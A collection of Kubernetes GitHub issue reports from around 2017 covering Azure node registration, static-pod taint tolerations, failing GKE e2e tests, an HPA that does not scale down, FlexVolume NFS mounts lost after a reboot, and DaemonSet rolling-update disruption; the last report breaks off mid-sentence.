<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : azure scale sets\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : coreos\r -   kernel    e.g.  uname -a  :\r    \r linux k8s-agent-000001 4.7.3-coreos-r2  1 smp tue jan 31 07:55:24 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux\r    \r -   install tools  : custom\r -   others  :\r \r \r   what happened  :\r instances in a scale set can't register themselves as nodes.\r \r   what you expected to happen  :\r instances in a scale set can register themselves.\r \r   how to reproduce it    as minimally and precisely as possible :\r spin up a scale set and run kubelet on the instances.\r \r   anything else we need to know  :\r got the following in the log:\r    \r feb 03 06:55:51 k8s-agent-000001 kubelet 12410 : e0203 06:55:51.419920   12410 kubelet_node_status.go:70  unable to construct api.node object for kubelet: failed to get external id from cloud provider: instance not found\r    \r

from @gmarek in https://github.com/kubernetes/kubernetes/issues/42685 issuecomment-284987556: \ when node is tainted taintcontroller tries to kill kube-proxy over and over again  and it fails, as this is a manifest pod :  ...  i guess kubelet is just ignoring the request  or sth . correct solution is to give kube-proxy infinite toleration for noexecute taints.\ \r \r  this would involve changing the manifest for every static pod to add tolerations for taints  node.alpha.kubernetes.io/unreachable  and  node.alpha.kubernetes.io/notready  \r \r i guess the alternative is to have the taint manager somehow detect that something is a static pod, and not bother to evict it.\r \r cc/ @bowei @freehan @kubernetes/sig-node-feature-requests

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-subnet/1396/ multiple broken tests:  failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 5 pods to 3 pods and from 3 to 1 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 06:04:45.819: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc4214758f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  27406  27669  29770  32642   failed:  k8s.io  probing container with readiness probe should not be ready before initial delay and never restart  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 06:17:15.543: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42021f8f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  29521   failed:  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:402 mar 15 05:16:54.273: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:923     issues about this test specifically:  37373   failed:  k8s.io  pods should support retrieving logs from the container over websockets {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 07:02:36.662: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc421470ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  30263   failed:  k8s.io  services should serve a basic endpoint from pods  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 10:03:57.908: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420deb8f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  26678  29318   failed:  k8s.io  kubectl client  k8s.io  simple pod should return command exit codes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 07:21:49.454: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42115aef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  31151  35586   failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset should scale from 5 pods to 3 pods and from 3 to 1 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 09:50:49.339: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc421206ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  27394  27660  28079  28768  35871   failed:  k8s.io  schedulerpredicates  serial  validates that interpodantiaffinity is respected if matching 2 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421cfe5e0>: {         s: \ waiting for terminating namespaces to be deleted timed out\ ,     }     waiting for terminating namespaces to be deleted timed out not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  30078  30142   failed:  k8s.io  probing container should  not  be restarted with a /healthz http liveness probe  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 07:51:40.464: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420bdb8f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  30342  31350   failed:  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule pets if there is a network partition  slow   disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 07:46:28.368: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420716ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  37774   failed:  k8s.io  docker containers should use the image defaults if command and args are blank  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 11:13:23.543: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc421512ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  34520   failed:  k8s.io  resourcequota should create a resourcequota and ensure its status is promptly calculated. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 08:07:39.386: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42021f8f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438       failed:  k8s.io  services should be able to change the type and ports of a service  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 06:59:13.281: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc421988ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  26134   failed:  k8s.io  kubectl client  k8s.io  update demo should scale a replication controller  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 06:24:13.871: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc421426ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  28437  29084  29256  29397  36671   failed:  k8s.io  emptydir wrapper volumes should not conflict {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 08:01:12.885: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc4219804f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  32467  36276   failed:  k8s.io  deployment deployment should support rollover {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 06:13:44.344: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420f6eef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  26509  26834  29780  35355  38275  39879   failed:  k8s.io  emptydir volumes volume on default medium should have the correct mode  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 08:04:26.309: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420caaef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438       failed:  k8s.io  deployment paused deployment should be able to scale {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 09:54:19.827: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42145aef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  29828   failed:  k8s.io  network should set tcp close_wait timeout {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 08:22:43.731: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420f5c4f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  36288  36913   failed: diffresources {e2e.go}      error: 2 leaked resources   disks   +name                                                             zone           size_gb  type         status +gke-auto-subnet-013bff-pvc-f30f9e53-0976-11e7-95c2-42010af00009  us-central1-f  1        pd-standard  ready     issues about this test specifically:  33373  33416  34060  40437  40454  42510  43153   failed:  k8s.io  disruptioncontroller should create a poddisruptionbudget {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 10:00:42.473: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc4217444f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  37017   failed:  k8s.io  namespaces  serial  should ensure that all pods are removed when a namespace is deleted. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 06:49:45.844: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42106f8f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438       failed:  k8s.io  pod disks should schedule a pod w/ a rw pd shared between multiple containers, write to pd, delete pod, verify contents, and repeat in rapid succession  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 08:15:32.050: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42135c4f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  28010  28427  33997  37952   failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh: exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed:  k8s.io  proxy version v1 should proxy logs on node with explicit kubelet port using proxy subresource  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 11:16:34.601: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc421408ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  35601   failed:  k8s.io  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 08:11:42.268: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42021f8f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  26175  26846  27334  28293  29149  31884  33672  34774   failed:  k8s.io  configmap should be consumable from pods in volume with mappings and item mode set conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 08:29:10.274: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc421458ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  35790   failed:  k8s.io  variable expansion should allow composing env vars into new env vars  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 08:25:56.837: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42137c4f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  29461   failed:  k8s.io  services should only allow access from service loadbalancer source ranges  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 05:53:27.610: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc421130ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  38174   failed:  k8s.io  port forwarding  k8s.io  with a server that expects a client request should support a client that connects, sends no data, and disconnects  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 06:20:43.904: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42130a4f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  26955   failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for pod-service: http {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:96 expected error:     < errors.errorstring | 0xc4203c0ed0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:520     issues about this test specifically:  36178   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:38 expected error:     < errors.errorstring | 0xc4203c0ed0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:520     issues about this test specifically:  32375   failed:  k8s.io  proxy version v1 should proxy logs on node using proxy subresource  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 07:54:47.052: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc4213eaef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  35422   failed:  k8s.io  v1job should scale a job up {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 08:18:57.070: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc421940ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  29976  30464  30687   failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4209d0c70>: {         s: \ waiting for terminating namespaces to be deleted timed out\ ,     }     waiting for terminating namespaces to be deleted timed out not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  33883   failed:  k8s.io  disruptioncontroller evictions: too few pods, absolute => should not allow an eviction {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 06:09:20.246: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42021f8f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  32639   failed:  k8s.io  pod disks should schedule a pod w/ a rw pd, gracefully remove it, then schedule it on another host  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 07:30:39.616: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc4213444f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  28283   failed:  k8s.io  service endpoints latency should not be very high  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 09:39:01.208: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc4213eaef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  30632   failed:  k8s.io  kubectl client  k8s.io  kubectl run pod should create a pod from an image when restart is never  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 mar 15 07:57:58.637: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420a5e4f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  27507  28275  38583  previous issues for this suite:  37341  38356  38582  39186  39799

my horiozontalpodautoscaler does not seem to be scaling, even though my pods are way underutilized. this is how i defined my autoscaler:\r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: ocr-extra-scaler\r   namespace: ocr-da-cluster\r spec:\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: deployment\r     name: ocr-extra\r   minreplicas: 1\r   maxreplicas: 12\r     we leave a bit of headroom for other requests.\r   targetcpuutilizationpercentage: 80\r    \r \r as shown in the dashboard below, my pods are all far underutilized, yet the autoscaler is not downscaling any of them:\r \r ! image  https://cloud.githubusercontent.com/assets/671052/25836115/51ed106e-3452-11e7-98d8-3e4e8649b0e1.png \r \r here is the output of  kubectl describe hpa :\r    \r name:                                                   ocr-extra-scaler\r namespace:                                              ocr-da-cluster\r labels:                                                 <none>\r annotations:                                            kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ autoscaling/v1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ ocr-extra-scaler\ ,\ namespace\ :\ ocr-da-cluster\ },\ s...\r creationtimestamp:                                      fri, 24 mar 2017 14:07:06 -0400\r reference:                                              deployment/ocr-extra\r metrics:                                                  current / target  \r   resource cpu on pods   as a percentage of request :   0%  0  / 80%\r min replicas:                                           1\r max replicas:                                           12\r events:                                                 <none>\r    \r \r i'm not sure if it matters, but i have a bunch of old unused replica sets lying around:\r    \r >kubectl get rs\r name                   desired   current   ready     age\r ocr-extra-1074021295   0         0         0         40d\r ocr-extra-180895804    0         0         0         40d\r ocr-extra-2106695714   0         0         0         5d\r ocr-extra-2311536872   0         0         0         40d\r ocr-extra-269689544    0         0         0         5d\r ocr-extra-2893487091   0         0         0         5d\r ocr-extra-3012757315   0         0         0         5d\r ocr-extra-30228728     0         0         0         40d\r ocr-extra-3050980099   0         0         0         40d\r ocr-extra-3117826196   0         0         0         40d\r ocr-extra-3362659359   0         0         0         5d\r ocr-extra-338380943    0         0         0         5d\r ocr-extra-3664772186   0         0         0         5d\r ocr-extra-3812036703   0         0         0         5d\r ocr-extra-3875084349   0         0         0         5d\r ocr-extra-4054860708   0         0         0         26d\r ocr-extra-4147059556   0         0         0         5d\r ocr-extra-4233329942   0         0         0         5d\r ocr-extra-490936662    0         0         0         5d\r ocr-extra-690099824    12        12        12        4d\r ocr-extra-998392029    0         0         0         40d\r ocr-main-1556256245    0         0         0         40d\r ocr-main-1720347859    0         0         0         40d\r ocr-main-2265306178    0         0         0         40d\r ocr-main-2381474316    0         0         0         45d\r ocr-main-358520578     0         0         0         40d\r ocr-main-412667836     0         0         0         40d\r ocr-main-690147707     1         1         1         40d\r    \r \r   environment  :\r kubernetes version:\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r cloud environment: google cloud container engine\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r here is my deployment spec  deployment.yaml.\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: flexvolume-nfs-nginx-deployment\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: flexvolume-nfs-nginx\r         image: nginx\r         volumemounts:\r             - name: \ alicloud-nas\ \r               mountpath: \ /var/lib\ \r       volumes:\r       - name: \ alicloud-nas\ \r         flexvolume:\r             driver: \ k8s/nfs\ \r             fstype: \ nfs\ \r             options:\r                 server: \ 376ffgftd0-urw79.cn-hangzhou.nas.aliyuncs.com\ \r                 share: \ /\ \r    \r then run deployment.yaml:\r    \r   kubectl create -f deployment.yaml\r \r   kubectl get pod -owide\r name                                               ready     status    restarts   age       ip            node\r flexvolume-nfs-nginx-deployment-3069379837-gzr0g   1/1       running   0          5s       172.16.1.72   izbp1hf1zvue77szjqf15bz\r http-svc-ntxzk                                     1/1       running   0          4d        172.16.0.6    izbp1hg1tn43gjnfnl6nhpz\r http-svc-s27mj                                     1/1       running   0          4d        172.16.0.3    izbp1hg1tn43gjnfnl6nhpz\r \r   kubectl exec -it flexvolume-nfs-nginx-deployment-3069379837-gzr0g sh\r       \r  insidepod   ls var/lib\r  insidepod  luke\r    \r since file \ luke\  in alicloud-nas  exist in var/lib, flexvolume nfs volume is available.\r \r next i reboot node  izbp1hf1zvue77szjqf15bz\r \r    \r   kubectl get pod -owide\r name                                               ready     status    restarts   age       ip            node\r flexvolume-nfs-nginx-deployment-3069379837-gzr0g   1/1       running   1          15m       172.16.1.72   izbp1hf1zvue77szjqf15bz\r http-svc-ntxzk                                     1/1       running   0          4d        172.16.0.6    izbp1hg1tn43gjnfnl6nhpz\r http-svc-s27mj                                     1/1       running   0          4d        172.16.0.3    izbp1hg1tn43gjnfnl6nhpz\r \r   kubectl exec -it flexvolume-nfs-nginx-deployment-3069379837-gzr0g sh\r  insidepod   ls var/lib\r  insidepod  \r \r  izbp1hf1zvue77szjqf15bz   mountpoint /var/lib/kubelet/plugins/kubernetes.io/flexvolume/k8s/nfs/mounts/alicloud-nas/\r /var/lib/kubelet/plugins/kubernetes.io/flexvolume/k8s/nfs/mounts/alicloud-nas/ is not a mountpoint\r \r  izbp1hf1zvue77szjqf15bz   mountpoint /var/lib/kubelet/pods/5a6ba0a2-81ac-11e7-8a1b-00163e0dfa64/volumes/k8s~nfs/alicloud-nas/\r /var/lib/kubelet/pods/5a6ba0a2-81ac-11e7-8a1b-00163e0dfa64/volumes/k8s~nfs/alicloud-nas/ is not a mountpoint\r    \r \r after reboot node, flexvolume nfs volume become unavailable.\r \r   what you expected to happen  :\r i'm looking for help to fix this reboot node issue.  i fixed this issue by modify code of flexvolume as below: \r    \r --- a/pkg/volume/flexvolume/plugin.go\r +++ b/pkg/volume/flexvolume/plugin.go\r @@ -164,6 +164,12 @@ func  plugin  flexvolumeplugin  newdetacher    volume.detacher, error  {\r \r  // constructvolumespec is part of the volume.attachablevolumeplugin interface.\r  func  plugin  flexvolumeplugin  constructvolumespec volumename, mountpath string    volume.spec, error  {\r +       mounter := plugin.host.getmounter  \r +       plugindir := plugin.host.getplugindir plugin.getpluginname   \r +       _, err := mounter.getdevicenamefrommount mountpath, plugindir \r +       if err != nil {\r +               return nil, err\r +       }\r         flexvolume := &api.volume{\r                 name: volumename,\r                 volumesource: api.volumesource{\r    \r i think it is necessary to check mountpath whether is a mountpoint when sync volume spec from disk.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7+$format:%h$\ , gitcommit:\ 62e6e969c5b6a6685ff96ab323275454ec9f4233\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t05:53:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7+$format:%h$\ , gitcommit:\ 62e6e969c5b6a6685ff96ab323275454ec9f4233\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t05:42:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :  alicloud\r \r - os  e.g. from /etc/os-release : \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r - kernel  e.g.  uname -a  : \r linux izbp1hf1zvue77szjqf15bz 3.10.0-514.6.2.el7.x86_64  1 smp thu feb 23 03:04:39 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: \r custom implementation\r \r /cc  @resouer  @feiskyer  @chakri-nelluri \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when performing a rolling update on a daemonset, the pods are deleted and then recreated as you'd expect.  however, if the daemonset pod is necessary for the correct functioning of other pods on the node, then the other pods are effectively disrupted while this is happening.\r \r   what you expected to happen  :\r it would be ideal if there were a way to orchestrate the update of the daemonset along with evicting and draining other pods on the node.  possibly a label selector or other sort of selector could indicate which pods would be disrupted by the daemonset being absent.\r \r for example, if a daemonset pod is needed for pod networking to work on a node, then all pods except pods that use host networking would be effectively down while the daemonset pod is restarted.\r \r   anything else we need to know?  :\r it would be possible for a prestop hook in the daemonset pod to mark the node unschedulable, then evict pods on its own node before stopping.  then, it could uncordon the node when it starts again, but this is possibly a pretty surprising behavior to the user if this were to happen.\r \r there's also a race here since there's no clean way to ensure that when removing the unschedulable taint that it was only there because of the pod 